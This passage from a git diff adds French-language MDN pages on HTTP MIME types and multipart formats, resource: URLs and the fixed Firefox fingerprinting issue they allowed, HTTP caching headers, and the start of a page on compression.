Opus.</td> + </tr> + <tr> + <td><code>video/webm</code></td> + <td>Un fichier vidéo, pouvant contenir de l'audio, au format WebM. Les codecs vidéos VP8 et VP9 sont les plus communs tandis que Vorbis and Opus constituent les codecs audios les plus fréquents.</td> + </tr> + <tr> + <td><code>audio/ogg</code></td> + <td>Un fichier audio au format OGG. Vorbis est le codec audio le plus utilisé pour traiter ce genre de format conteneur.</td> + </tr> + <tr> + <td><code>video/ogg</code></td> + <td>Un fichier vidéo, pouvant contenir de l'audio, au format OGG. Theora est le codec vidéo habituel pour ce genre de conteneur tandis que Vorbis est utilisé pour l'audio.</td> + </tr> + <tr> + <td> + <p><code>application/ogg</code></p> + </td> + <td> + <p>Un fichier audio ou vidéo au format OGG. Theora et Vorbis constituent respectivement les codecs vidéo et audio souvent utilisés.</p> + </td> + </tr> + </tbody> +</table> + +<h3 id="multipartform-data"><code>multipart/form-data</code></h3> + +<p>Le type <code>multipart/form-data</code> peut être utilisé lors de l'envoi du contenu d'un <a href="/fr/docs/Web/Guide/HTML/Forms">formulaire HTML</a> du navigateur vers le serveur. En tant que document composé ou <em>multipart</em> il est constitué de différentes parties délimitées par une frontière (une chaîne de caractères débutant par un tiret double <code>'--'</code>). Chaque partie est une entité propre qui possède ses propres en-têtes {{HTTPHeader("Content-Disposition")}} et {{HTTPHeader("Content-Type")}} lorsqu'il s'agit d'un champ permettant de téléverser un fichier. L'en-tête ({{HTTPHeader("Content-Length")}} est ignorée puisque la limite est assurée par la frontière.</p> + +<pre class="syntaxbox">Content-Type: multipart/form-data; boundary=aChaineDeDélimitation +(en-têtes divers associés à l'ensemble du document) + +--aChaineDeDélimitation +Content-Disposition: form-data; name="monFichier"; filename="img.jpg" +Content-Type: image/jpeg + +(données) +--aChaineDeDélimitation +Content-Disposition: form-data; name="monChamp" + +(données) +--aChaineDeDélimitation +(éléments additionnels) +--aChaineDeDélimitation-- + +</pre> + +<p>Le formulaire suivant :</p> + +<pre class="brush: html"><form action="http://localhost:8000/" method="post" enctype="multipart/form-data"> + <input type="text" name="monChampTexte"> + <input type="checkbox" name="maCheckBox">Check</input> + <input type="file" name="monFichier"> + <button>Envoyer le fichier</button> +</form></pre> + +<p>enverra le message suivant :</p> + +<pre>POST / HTTP/1.1 +Host: localhost:8000 +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Connection: keep-alive +Upgrade-Insecure-Requests: 1 +Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498 +Content-Length: 465 + +-----------------------------8721656041911415653955004498 +Content-Disposition: form-data; name="monChampTexte" + +Test +-----------------------------8721656041911415653955004498 +Content-Disposition: form-data; name="maCheckBox" + +sur +-----------------------------8721656041911415653955004498 +Content-Disposition: form-data; name="monFichier"; filename="test.txt" +Content-Type: text/plain + +un fichier simple. +-----------------------------8721656041911415653955004498-- + +</pre> + +<h3 id="multipartbyteranges"><code>multipart/byteranges</code></h3> + +<p>Le type MIME <code>multipart/byteranges</code> est utilisé lors qu'il s'agit d'envoyer une réponse partielle au navigateur. Lorsque le statut {{HTTPStatus("206")}} <code>Partial Content</code> est envoyé, ce type MIME sert pour indiquer que le document est constitué de plusieurs parties. Comme les types composés, l'en-tête {{HTTPHeader("Content-Type")}} utilise la directive <code>boundary</code> pour définir une chaîne de délimitation. Chaque partie possède son en-tête {{HTTPHeader("Content-Type")}} ainsi que {{HTTPHeader("Content-Range")}} qui spécifie le morceau que cette partie représente.</p> + +<pre><code>HTTP/1.1 206 Partial Content +Accept-Ranges: bytes +Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5 +Content-Length: 385 + +--3d6b6a416f9b5 +Content-Type: text/html +Content-Range: bytes 100-200/1270 + +eta http-equiv="Content-type" content="text/html; charset=utf-8" /> + <meta name="vieport" content +--3d6b6a416f9b5 +Content-Type: text/html +Content-Range: bytes 300-400/1270 + +-color: #f0f0f2; + margin: 0; + padding: 0; + font-family: "Open Sans", "Helvetica +--3d6b6a416f9b5--</code></pre> + +<h2 id="De_limportance_de_définir_correctement_un_type_MIME">De l'importance de définir correctement un type MIME</h2> + +<p>La plupart des serveurs envoient des ressources de format inconnu et donc utilisent le type par défaut <code>application/octet-stream</code>. Pour des considérations de sécurité, les navigateurs n'effectuent pas d'action par défaut pour les ressources de ce type, ce qui oblige l'utilisateur à stocker le fichier sur son dique pour l'utiliser. Voici les erreurs communes de configuration côté serveur pour les formats suivants :</p> + +<ul> + <li> + <p>Les fichiers RAR. Idéalement il faudrait définir le type MIME associé aux fichiers contenus. Ce n'est généralement pas possible étant donné que le type de ces fichiers est vraisemblablement inconnu du serveur, d'autre part, il est possible que plusieurs formats soient présents dans le fichier RAR. On pourra alors configurer le serveur pour envoyer le type MIME <code>application/x-rar-compressed</code> bien qu'il soit probable qu'aucune action par défaut pour ce type MIME n'ait été définie côté utilisateur.</p> + </li> + <li> + <p>Fichiers audios et vidéos. Seules les ressources associées à un type MIME approprié seront reconnues et lues dans les éléments {{ HTMLElement("video")}} ou {{HTMLElement("audio")}}. Vérifiez que vous utilisez <a href="/fr/docs/Web/HTML/Supported_media_formats">un format correct pour les fichiers audios et vidéos</a>.</p> + </li> + <li> + <p>Les fichiers au format propriétaire. Il est nécessaire d'être vigilent lorsque l'on sert des fichiers propriétaires. Evitez autant que possible l'utilisation de <code>application/octet-stream</code> puisque ce type générique ne permet pas une gestion appropriée de la ressource.</p> + </li> +</ul> + +<h2 id="Détection_de_type_MIME">Détection de type MIME</h2> + +<p>Lorsque le type MIME est absent ou lorsque le client détecte que le type MIME a été mal associé, les navigateurs peuvent pratiquer la détection de type MIME via l'analyse de la ressource. Chaque navigateur implémente cette technique différemment et l'utilise dans des contextes différents. Il existe des problématiques de sécurité, étant donné que certaines ressources sont des fichiers exécutables et d'autres non. Les serveurs peuvent empêcher la détection de type MIME par le navigateur en envoyant l'en-tête {{HTTPHeader("X-Content-Type-Options")}} associé à {{HTTPHeader("Content-Type")}}.</p> + +<h2 id="Autres_méthodes_pour_transporter_le_format_dun_document">Autres méthodes pour transporter le format d'un document</h2> + +<p>Les types MIME ne sont pas la seule façon existante pour gérer le format d'un document :</p> + +<ul> + <li>Les extensions de fichiers sont parfois utilisées, comme sur les systèmes d'exploitation Microsoft Windows. Tous les systèmes d'exploitation ne considèrent pas l'extension comme signifiante (en particulier Linux et Mac OS). De la même manière que pour les types MIME externes, il n'est pas garanti que le contenu soit effectivement du type correspondant à l'extension du document.</li> + <li>Nombres magiques : La syntaxe de différents fichiers permet de déterminer le fichier en analysant son contenu, ainsi les fichiers GIF commencent par les valeurs hexadécimales 47 49 46 38 soit [GIF89], les fichiers PNG quant à eux commencent par 89 50 4E 47 soit [.PNG]. Néanmoins, tous les types de fichiers ne permettent pas d'utiliser des nombres magiques, il ne s'agit donc pas d'une technique infaillible.</li> +</ul> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/fr/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types">Configurer proprement les types MIME côté serveur</a></li> + <li> + <p><a href="/fr/docs/Web/HTML/Supported_media_formats">Formats multimédias supportés pour les éléments HTML audio et vidéo</a></p> + </li> + <li> + <p><a href="https://www.iana.org/assignments/media-types/application/json">https://www.iana.org/assignments/media-types/application/json</a></p> + </li> +</ul> diff --git a/files/fr/web/http/basics_of_http/urls_de_type_ressource/index.html b/files/fr/web/http/basics_of_http/urls_de_type_ressource/index.html new file mode 100644 index 0000000000..4f38214e57 --- /dev/null +++ b/files/fr/web/http/basics_of_http/urls_de_type_ressource/index.html @@ -0,0 +1,67 @@ +--- +title: URLs de type ressource +slug: Web/HTTP/Basics_of_HTTP/URLs_de_type_ressource +tags: + - Guide + - HTTP + - Intermédiaire + - Ressource +translation_of: Web/HTTP/Basics_of_HTTP/Resource_URLs +--- +<div>{{HTTPSidebar}}</div> + +<p>Les URLs de type ressource sont les URLs préfixées à l'aide du schéma <code>resource:</code>. Elles sont utilisées par Firefox ainsi que les modules complémentaires pour charger des ressources de manière interne, néanmoins, certaines informations associées sont disponibles pour les sites auxquels le navigateur accède.</p> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Les URLs de type ressource sont composées de deux parties, un préfixe (<code>resource:</code>) et l'URL qui dirige vers la ressource que l'on souhaite charger :</p> + +<pre class="syntaxbox">resource://<url></pre> + +<p>Voici un exemple :</p> + +<pre>resource://gre/res/svg.css</pre> + +<p>Pour plus de détails, vous pouvez consulter <a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifier des ressources sur le Web</a>.</p> + +<p>Dans cet article, nous abordons les URIs ressources qui sont utilisées par Firefox pour pointer vers des ressources internes.</p> + +<h2 id="Menaces">Menaces</h2> + +<p>Étant donné que les informations partagées par les URLs <code>resource:</code> sont accessibles par les sites web, une page web pourrait être en mesure d'exécuter un script pour inspecter les ressources internes à Firefox telles que les préférences par défaut, ce qui pourrait constituer un problème important de confidentialité et de sécurité.</p> + +<p>Par exemple, <a href="https://www.browserleaks.com/firefox">ce script sur Browserleaks</a> détaille les éléments accessibles de Firefox lorsque l'on appelle l'URL ressource. Le code de ce script est accessible à l'adresse <a href="https://browserleaks.com/firefox#more">https://browserleaks.com/firefox#more</a>.</p> + +<p>Le fichier <a href="https://searchfox.org/mozilla-central/rev/48ea452803907f2575d81021e8678634e8067fc2/browser/app/profile/firefox.js#575">firefox.js</a> passe les noms des préférences et leurs valeurs à la fonction <code>pref()</code>.</p> + +<p>Les sites web peuvent aisément récupérer les préférences par défaut de Firefox en contournant la fonction <code>pref()</code> et en utilisant le script <code>resource:///defaults/preferences/firefox.js</code>.</p> + +<p>De plus, certaines valeurs par défaut diffèrent selon les versions ou les installations, parmi lesquelles le système d'exploitation ou la langue d'utilisation, il est donc possible d'identifier les utilisateurs de manière distincte.</p> + +<h2 id="Solution">Solution</h2> + +<p>Afin de résoudre ce problème, Mozilla a modifié le comportement du chargement des URLs ressource via {{bug(863246)}}, rendu disponible à partir de Firefox 57 (Quantum).</p> + +<p>Auparavant, les sites web étaient capables d'accéder à n'importe quelle URI <code>resource:</code>, celles de Firefox mais aussi celles des modules complémentaires. Ce comportement est désormais interdit par défaut.</p> + +<p>Firefox nécessite néanmoins le chargement des ressources au sein d'un contenu web dans certains cas. Ainsi lorsque l'on souhaite accéder au code source d'une page à l'aide de "Code source de la page", un appel à <code>viewsource.css</code> via une URI <code>resource:</code> est nécessaire. Les ressources auxquelles le contenu web a besoin d'accéder ont été déplacées sous <code>resource://content-accessible/</code>, une partie isolée et ne contenant que des ressources n'étant pas confidentielles. De cette manière, il est possible d'exposer des ressources tout en réduisant la plupart des menaces.</p> + +<div class="note"> +<p><strong>Note</strong> : Il est recommandé de ne plus utiliser les URLs de type ressource lors du développement web ou de celui d'un module. Leur utilisation était peu fiable et la plupart ne fonctionnent plus.</p> +</div> + +<h2 id="Spécifications">Spécifications</h2> + +<p><code>resource:</code> n'est pas défini dans une spécification RFC.</p> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p>resource: est disponible uniquement dans Firefox.</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifier des ressources sur le Web</a></li> + <li><a href="/fr/docs/Learn/Common_questions/What_is_a_URL">Qu'est-ce qu'une URL ?</a></li> + <li><a href="https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml">Liste des schémas URI maintenue par l'IANA</a> (<code>resource:</code> est <a href="https://www.iana.org/assignments/uri-schemes/prov/resource">définie ici</a>)</li> +</ul> diff --git a/files/fr/web/http/cache/index.html b/files/fr/web/http/cache/index.html new file mode 100644 index 0000000000..d29e51d434 --- /dev/null +++ b/files/fr/web/http/cache/index.html @@ -0,0 +1,154 @@ +--- +title: Mise en cache HTTP +slug: Web/HTTP/Cache +tags: + - Guide + - HTTP + - Le cache +translation_of: Web/HTTP/Caching +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">Les performances des sites et applications web peuvent être significativement améliorées en réutilisant les ressources déjà collectées précédemment. Les caches web réduisent la latence et le trafic du réseau, et ainsi diminuent le temps nécessaire à l'affichage de la représentation d'une ressource. En utilisant la mise en cache HTTP, les sites web deviennent plus réactifs.</p> + +<h2 id="Différents_types_de_caches">Différents types de caches</h2> + +<p>La mise en cache est une technique qui stocke une copie d’une ressource donnée et la renvoie quand elle est demandée. Quand un cache web a une ressource demandée dans son espace de stockage, il intercepte la requête et renvoie sa copie au lieu de la re-télécharger depuis le serveur d’origine. Cela a plusieurs avantages : le cache réduit la charge du serveur qui n’a pas besoin de servir tous les clients lui-même, et il améliore la performance en étant plus proche du client, par exemple, cela prend moins de temps pour transmettre à nouveau la ressource. Pour un site web, c’est un composant majeur pour atteindre de hautes performances. Cependant, il doit être configuré correctement, car toutes les ressources ne restent pas éternellement inchangées : il est important de mettre une ressource en cache seulement jusqu’à ce qu’elle change, pas plus longtemps.</p> + +<p>Il y a différents types de caches, qui peuvent être groupés en deux principales catégories : les caches privés et les caches partagés. Un <em>cache partagé</em> est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Un <em>cache privé</em> est dédié à un seul utilisateur. Cette page aborde principalement les caches de navigateur et de proxy, mais il existe aussi des caches de passerelle, de CDN, les caches de proxy inversés et les répartiteurs de charge qui sont déployés sur les serveurs web pour une meilleure fiabilité, une meilleure performance et une meilleure évolutivité des sites et applications web.</p> + +<p><img alt="Ce que permet un cache, avantages et inconvénients des caches privés ou partagés." lang="fr-FR" src="https://mdn.mozillademos.org/files/16128/HTTPCacheType-fr.png" style="height: 573px; width: 910px;"></p> + +<h3 id="Caches_de_navigateur_privés">Caches de navigateur privés</h3> + +<p>Un cache privé est dédié à un seul utilisateur. Il se peut que vous ayez déjà vu les termes « mise en cache » dans les paramètres de votre navigateur. Un cache de navigateur contient tous les documents téléchargés via <a href="/fr/docs/Web/HTTP" title="en/HTTP">HTTP</a> par l’utilisateur. Ce cache est utilisé pour rendre les documents visités disponibles à la navigation via les boutons précédent / suivant, la sauvegarde, l’affichage du code source, etc. sans nécessiter un aller-retour au serveur supplémentaire. De la même manière, il améliore la navigation hors-ligne de contenu en cache.</p> + +<h3 id="Caches_de_proxy_partagés">Caches de proxy partagés</h3> + +<p>Un cache partagé est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Par exemple, un fournisseur d’accès à Internet ou votre entreprise peut avoir mis en place un proxy web au sein de son infrastructure de réseau local pour servir des utilisateurs multiples, de sorte que les ressources populaires sont réutilisées plusieurs fois, réduisant le trafic réseau et la latence.</p> + +<h2 id="Cibles_des_opérations_de_cache">Cibles des opérations de cache</h2> + +<p>La mise en cache HTTP est optionnelle, mais réutiliser une ressource en cache est généralement souhaitable. Cependant, les caches HTTP communs se limitent typiquement à mettre en cache les réponses à des requêtes {{HTTPMethod("GET")}} et peuvent décliner les autres méthodes. La clé de cache primaire consiste en la méthode de requête et l’URI ciblée (souvent, seule l’URI est utilisée, car seules des requêtes GET sont ciblées par la mise en cache). Voici des formes courantes d’entrées de cache :</p> + +<ul> + <li>Résultat positif de requête de lecture : une réponse {{HTTPStatus(200)}} (OK) à une requête {{HTTPMethod("GET")}} contenant une ressource telle qu’un document HTML, une image ou un fichier.</li> + <li>Redirection permanente : une réponse {{HTTPStatus(301)}} <em>(Moved Permanently).</em></li> + <li>Réponse d’erreur : une page de résultat {{HTTPStatus(404)}} <em>(Not Found)</em>.</li> + <li>Résultat incomplet : une réponse {{HTTPStatus(206)}} <em>(Partial Content)</em>.</li> + <li>Réponses autres que {{HTTPMethod("GET")}} si quelque chose est défini comme pouvant être utilisé comme clé de cache.</li> +</ul> + +<p>Une entrée de cache peut aussi consister en de multiples réponses stockées différenciées par une clé secondaire, si la requête fait l’objet de négociation de contenu. Pour plus de détails, voir les informations à propos de l’en-tête {{HTTPHeader("Vary")}} <a href="#Varying_responses">ci-dessous</a>.</p> + +<h2 id="Contrôle_de_la_mise_en_cache"><span class="tlid-translation translation"><span title="">Contrôle de la mise en cache</span></span></h2> + +<h3 id="L'en-tête_Cache-control"><span class="tlid-translation translation"><span title="">L'en-tête Cache-control</span></span></h3> + +<p><span class="tlid-translation translation">Le</span> {{HTTPHeader("Cache-Control")}} HTTP/1.1 <span class="tlid-translation translation"><span title="">Le champ d'en-tête général est utilisé pour spécifier les directives pour les mécanismes de cache dans les requêtes et les réponses.</span> <span title="">Utilisez cet en-tête pour définir vos stratégies de mise en cache avec la variété de directives fournie</span></span>s.</p> + +<h4 id="Pas_du_tout_de_cache_mémoire">Pas du tout de cache mémoire</h4> + +<p><span class="tlid-translation translation"><span title="">Le cache ne doit rien stocker concernant la demande du client ou la réponse du serveur.</span> <span title="">Une demande est envoyée au serveur et une réponse complète est téléchargée à chaque fois.</span></span></p> + +<pre>Cache-Control: no-store +Cache-Control: no-cache, no-store, must-revalidate +</pre> + +<h4 id="Pas_de_cache"><span class="tlid-translation translation"><span title="">Pas de cache</span></span></h4> + +<p><span class="tlid-translation translation"><span title="">Un cache enverra la demande au serveur d'origine pour validation avant de publier une copie en cache</span></span>.</p> + +<pre>Cache-Control: no-cache</pre> + +<h4 id="Caches_privées_et_publiques"><span class="tlid-translation translation"><span title="">Caches privées et publiques</span></span></h4> + +<p><span class="tlid-translation translation"><span title="">La directive "public" indique que la réponse peut être mise en cache par n'importe quel cache.</span> <span title="">Cela peut être utile si les pages avec une authentification HTTP ou des codes d’état de réponse qui ne sont pas normalement mis en cache doivent maintenant être mis en cache.</span> <span title="">En revanche, "privé" indique que la réponse est destinée à un seul utilisateur et ne doit pas être stockée par un cache partagé.</span> <span title="">Un cache de navigateur privé peut stocker la réponse dans ce cas.</span></span></p> + +<pre>Cache-Control: private +Cache-Control: public +</pre> + +<h4 id="Expiration">Expiration</h4> + +<p><span class="tlid-translation translation"><span title="">La directive la plus importante ici est "max-age = <secondes>", qui correspond au temps maximum pendant lequel une ressource est considérée comme nouvelle.</span> <span title="">Contrairement à {{HTTPHeader ("Expires")}}, cette directive est relative à l'heure de la demande.</span> <span title="">Pour les fichiers de l'application qui ne changeront pas, vous pouvez généralement ajouter une mise en cache agressive.</span> <span title="">Cela inclut les fichiers statiques tels que les images, les fichiers CSS et les fichiers JavaScript, par exemple.</span></span></p> + +<p><span class="tlid-translation translation"><span title="">Pour plus de détails, voir aussi la section</span></span> <a href="#Freshness">Freshness</a> <span class="tlid-translation translation"><span title="">ci-dessous.</span></span>.</p> + +<pre>Cache-Control: max-age=31536000</pre> + +<h4 id="Validation">Validation</h4> + +<p><span class="tlid-translation translation"><span title="">Lors de l'utilisation de la directive "must-revalidate", le cache doit vérifier l'état des ressources obsolètes avant de l'utiliser, et celles qui ont expiré ne doivent pas être utilisées.</span> <span title="">Pour plus de détails, voir la section</span></span> <a href="#Cache_validation">Validation</a> <span class="tlid-translation translation"><span title="">ci-dessous</span></span>.</p> + +<pre>Cache-Control: must-revalidate</pre> + +<h3 id="L'en-têtePragma"><span class="tlid-translation translation"><span title="">L'en-tête</span></span><code>Pragma</code></h3> + +<p><span class="tlid-translation translation"><span title="">{{HTTPHeader ("Pragma")}} est un en-tête HTTP / 1.0. Il n'est pas spécifié pour les réponses HTTP et ne constitue donc pas un remplacement fiable pour l'en-tête général HTTP / 1.1 Cache-Control, bien qu'il se comporte de la même manière que Cache</span><span title="">-Control: no-cache, si le champ d'en-tête Cache-Control est omis dans une requête.</span> <span title="">Utilisez Pragma uniquement pour une compatibilité ascendante avec les clients HTTP / 1.0</span></span>.</p> + +<h2 id="Fraîcheur_(Freshness)">Fraîcheur (Freshness)</h2> + +<p>Une fois que la ressource est mise en mémoire dans le cache, elle pourrait théoriquement être servie éternellement par le cache. Les caches ont une capacité de stockage limitée donc les objets en sont périodiquement enlevés. Ce procédé est appelé éviction de cache ("<em>cache eviction"</em>). Certaines ressources peuvent changer sur le serveur et le cache doit donc être mis à jour. Comme HTTP est un protocole serveur-client, les serveurs peuvent informer les caches et les clients quand une ressource est modifiée, ils doivent communiquer un temps d'expiration de la ressource. Avant cette expiration, la ressource est considérée "fraîche" (fresh => freshness); Aprés son expiration, elle est considérée périmée (<em>stale</em>). Les algoritmes d'éviction privilégient souvent les ressources fraîches. Notez qu'une ressource "périmée" n'est ni éjectée ni ignorée; quand le cache reçoit une requête pour une ressource périmée, il transmet cette requête avec un {{HTTPHeader("If-None-Match")}} pour vérifier si elle est quand même fraîche. Si c'est le cas, le serveur retourne en en-tête un statut {{HTTPStatus("304")}} (Not Modified) sans renvoyer le corps de la ressource demandée, épargnant ainsi un peu de bande passante.</p> + +<p>Ici un exemple de ce processus avec un cache de proxy partagé :</p> + +<p><img alt="Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale." src="https://mdn.mozillademos.org/files/13771/HTTPStaleness.png" style="height: 910px; width: 822px;"></p> + +<p>Le calcul de la durée de vie de la fraîcheur est basé sur plusieurs en-têtes. Si une en-tête "<code>Cache-control: max-age=N</code>" est spécifiée, alors la durée de vie est égale à N. Si cette en-tête est absente (ce qui est souvent le cas), on vérifie si une en-tête {{HTTPHeader("Expires")}} est présente. Si ce <code>Expires</code> existe, alors sa valeur moins la valeur de l'en-tête {{HTTPHeader("Date")}} détermine la durée de vie de la fraîcheur. Finalement, si aucune en-tête n'est présente, on en cherche une {{HTTPHeader("Last-Modified")}} et si elle est présente, alors la durée de vie de la fraîcheur du cache est égale à la valeur de l'en-tête <code>Date</code> moins la valeur de l'en-tête <code>Last-modified</code> divisée par 10.</p> + +<p>Le temps d'expiration s'organise comme ceci :</p> + +<pre>expirationTime = responseTime + freshnessLifetime - currentAge +</pre> + +<p>Où <code>responseTime</code> est le moment auquel a été reçue la réponse selon le navigateur.</p> + +<h3 id="Ressources_revues_et_corrigées">Ressources revues et corrigées</h3> + +<p>Plus nous utilisons les ressources en cache, mieux se porteront la "responsivité" et les performances d'un site Web. Pour optimiser ceci, les bonnes pratiques recommandent de fixer les temps d'expiration aussi loin que possible dans le futur. C'est possible avec des ressources mises à jour régulièrement ou trés souvent mais ça devient problématique pour les ressources mises à jour trés rarement. Ce sont les ressources qui bénéficieraient au mieux de la mise en cache mais cela les rend difficiles à mettre à jour. C'est typique des ressources techniques incluses ou liées depuis chaque page web : les fichiers JavaScript et CSS ne changent pas fréquemment mais quand ils changent, vous voulez qu'ils soient mis à jour au plus vite.</p> + +<p>Les développeurs Web ont inventé une technique que Steve Sounders a appelée <em>revving</em><sup><a href="https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/">[1]</a></sup>. Les fichiers rarement mis à jour sont nommés d'une maniére spécifique : dans leur URL, habituellement dans le nom de fichier, est ajouté un numéro de révision (ou version). Comme ceci, chaque nouvelle révision / version de la ressource est considérée comme une ressource elle-même, qui ne change jamais et qui peut avoir un temps d'expiration trés éloigné dans le futur. En général un an ou plus. Dans le but d'avoir les nouvelles versions, tous les liens doivent être changés. C'est l'inconvénient de cette méthode : une complexité additionnelle habituellement prise en charge par la chaîne d'outils de développeurs Web. Quand les ressources qui ne sont pas mises à jour fréquemment changent, elles induisent un changement supplémentaire aux ressources régulièrement rafraîchies. Quand elles sont lues, les nouvelles versions des autres sont lues aussi.</p> + +<p>Cette technique a un avantage de plus : mettre à jour deux ressources en cache en même temps ne fera pas qu'une version périmée d'une des ressources sera utilisée avec la nouvelle version de l'autre. C'est trés important quand les sites ont des feuilles de style CSS ou des scripts JS qui ont des dépendances mutuelles c'est-à-dire qui dépendent l'un de l'autre parce qu'ils se réfèrent aux mêmes éléments HTML.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13779/HTTPRevved.png"></p> + +<p>La version de révision ajoutée à la ressource révisée n'a pas à être sous une forme classique de chaîne de version comme 1.1.3, ou une suite monotone de chiffres. Cela peut être n'importe quoi qui prévienne une collision : un hash ou une date.</p> + +<h2 id="Validation_de_cache">Validation de cache</h2> + +<p>La revalidation est ciblée quand l'utilisateur clique le bouton de rechargement (actualisation). Elle est aussi ciblée pendant une navigation normale si la réponse en cache inclus l'en-tête "<code>Cache-control: must-revalidate</code>". Un autre facteur est la préférence des validations de cache, paramétrées dans le panneau des préférences dans<code> Advanced->Cache</code> . Il y a une option pour forcer la validation chaque fois qu'un document est chargé.</p> + +<p>Quand on arrive au moment d'expiration d'un document en cache, il est soit validé soit redemandé. La validation ne peut intervenir que si le serveur a fourni soit un validateur fort <em>(strong validator</em>) soit un faible (<em>weak validator</em>).</p> + +<h3 id="ETags">ETags</h3> + +<p>L'en-tête réponse {{HTTPHeader("ETag")}} est une valeur "<em>opaque-to-the-user agent" </em> qui peut être utilisée comme un validateur fort. Cela signifie que l'agent-utilisateur HTTP, comme un navigateur, par exemple, ne sait pas ce que cette chaîne représente et ne peut prévoir quelle pourrait être sa valeur. Si l'en-tête <code>ETag</code> est une partie de la réponse pour une ressource, le client peut délivrer un {{HTTPHeader("If-None-Match")}} dans l'en-tête des futures requêtes, dans le but de valider les ressources en cache.</p> + +<p>L'en-tête de réponse {{HTTPHeader("Last-Modified")}} peut être utilisée comme un validateur faible. Il est dit "faible" car il a une précision à la seconde prés. Si l'en-tête <code>Last-Modified</code> est présente dans une réponse, alors le client peut délivrer une en-tête de requête {{HTTPHeader("If-Modified-Since")}} pour valider le document en cache.</p> + +<p>Quand une requête en validation est faite, le serveur peut : soit ignorer la requête en validation et répondre avec un normal {{HTTPStatus(200)}} <code>OK</code>, ou bien retourner un statut {{HTTPStatus(304)}} <code>Not Modified</code> (avec un corps de réponse vide) pour informer le navigateur d'utiliser sa copie en cache. La dernière réponse peut aussi contenir les en-têtes qui mettent à jour le temps d'expiration du document en cache.</p> + +<h2 id="Varier_les_réponses">Varier les réponses</h2> + +<p>L'en-tête de réponse HTTP {{HTTPHeader("Vary")}} détermine comment répondre aux futures en-têtes de requêtes et décider s'il faut utiliser une réponse en cache plutôt qu'en demander une fraîche au serveur d'origine.</p> + +<p>Quand un cache reçoit une requête qui peut être satisfaite par une réponse en cache qui a un champ d'en-tête <code>Vary</code> il ne devra pas utiliser cette réponse à moins que tous les champs d'en-tête cités dans l'en-tête <code>Vary</code> ne soient communs aux deux : la requête originale (en cache) et la nouvelle requête.</p> + +<p><img alt="The Vary header leads cache to use more HTTP headers as key for the cache." src="https://mdn.mozillademos.org/files/13769/HTTPVary.png" style="height: 817px; width: 752px;"></p> + +<p>Cela peut être trés utile pour servir du contenu dynamique par exemple. Quand on se sert de l'en-tête <code>Vary: User-Agent</code>, les serveurs de cache devront considérer l'agent utilisateur pour décider de servir la page du cache. Si vous servez du contenu varié aux utilisateurs de mobiles, cela vous aidera à éviter qu'un cache puisse servir, par erreur, une version "Desktop" de votre site. En plus, cela aidera Google et d'autres moteurs de recherche à découvrir la version mobile d'une page et peut aussi les avertir qu'aucun "masquage" (<a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a>) n'est à craindre.</p> + +<pre>Vary: User-Agent</pre> + +<p>Parce que la valeur d'en-tête {{HTTPHeader("User-Agent")}} est différente ("varie") pour les clients mobiles ou Bureau, les caches ne seront pas utilisés pour servir du contenu mobile à un utilisateur "Desktop" et vice-versa.</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="https://tools.ietf.org/html/rfc7234">RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): Caching</a></li> + <li><a href="https://www.mnot.net/cache_docs">Caching Tutorial – Mark Nottingham</a></li> + <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching">HTTP caching – Ilya Grigorik</a></li> + <li><a href="https://redbot.org/">RedBot</a>, un outli pour vérifier vos en-têtes HTTP relatives au cache.</li> +</ul> diff --git a/files/fr/web/http/compression/index.html b/files/fr/web/http/compression/index.html new file mode 100644 index 0000000000..ec4fa26888 --- /dev/null +++ b/files/fr/web/http/compression/index.html @@ -0,0 +1,69 @@ +--- +title: Compression dans HTTP +slug: Web/HTTP/Compression +tags: + - Guide + - HTTP + - compression +translation_of: Web/HTTP/Compression +--- +<div>{{HTTPSidebar}}</div> + +<p>La compression est une méthode importante pour accroitre les performances d'un site web. Pour certaines pages, la réduction de la taille des éléments économise jusqu'à 70 % de la bande passante. Les algorithmes de compression s'améliorent d'années en années, les nouveaux algorithmes étant supportés à la fois par les serveurs et les clients.</p> + +<p>En réalité, les développeurs web n'ont pas besoin d'implémenter des mécanismes de compression puisqu'ils sont déjà intégrés à la fois aux navigateurs et dans les serveurs. Il convient néanmoins de s'assurer de la configuration correcte du serveur web. La compression s'effectue à trois niveaux différents :</p> + +<ul> + <li>Tout d'abord certains formats de fichiers sont compressés à l'aide de méthodes optimisées,</li> + <li>ensuite, la compression s'effectue au niveau du protocole HTTP (la ressource est transmise de manière compressée de bout en bout),</li> + <li>enfin la compression peut s'appliquer au niveau des connexions entre deux nœuds d'une connexion HTTP.</li> +</ul> + +<h2 id="Fichiers_au_format_compressé">Fichiers au format compressé</h2> + +<p>Chaque type de donnée possède des redondances intrinsèques, ce qui signifie que l'utilisation de l'espace n'est pas optimisée. Ainsi dans les fichiers texte, l'espace ainsi perdu peut représenter environ 60 %, pour les fichiers multimédias, la redondance peut s'avérer beaucoup plus élevée. Étant donné que la contrainte de taille élevée est apparue dès le début pour ces types de fichiers, les ingénieurs ont conçu des algorithmes spécifiques à chaque format. Les algorithmes de compression utilisés pour les fichiers peuvent être groupés en deux catégories :</p> + +<ul> + <li><em>Compression sans perte</em>, le cycle 